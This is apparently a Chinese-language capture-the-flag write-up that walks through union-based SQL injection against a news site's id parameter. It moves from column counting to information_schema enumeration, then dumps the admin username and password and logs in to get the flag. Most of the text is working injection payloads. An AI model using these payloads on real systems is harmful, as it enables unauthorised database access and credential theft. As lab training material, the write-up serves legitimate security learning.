四

发现有登录框，爆破半天也爆破不出来，只能从别的地方下手了

F12一下

发现了一个传参

进去发现id可以传参，sql注入一下试试

前三个都有回显，当id=4的时候页面没有回显了，正好验证 了页面 有三个新闻

当order by =3的时候又没有回显了，这时可以判断有2个字段

当我们查询显错位的时候，发现页面没有变化，考虑到是不是过滤了什么

?id=-1 union select 1,2

于是在传参点把1改为-1 就可以看到页面有回显了

?id=-1 union select 1,database()  查库名

查表名

?id=-1 union select 1,table_name from information_schema.tables where table_schema='news'

查字段  ?id=-1 union select 1,column_name from information_schema.columns where table_name='admin'

这不是我们要的字段，我们要找的是username 和password

?id=-1 union select 1,column_name from information_schema.columns where table_name='admin' limit0,1

?id=-1 union select 1,column_name from information_schema.columns where table_name='admin' limit 2,1

查数据

?id=-1 union select 1,username from admin limit 0,1

?id=-1 union select 1,password from admin limit 0,1

拿着账号密码去登录

登录成功 flag就出来了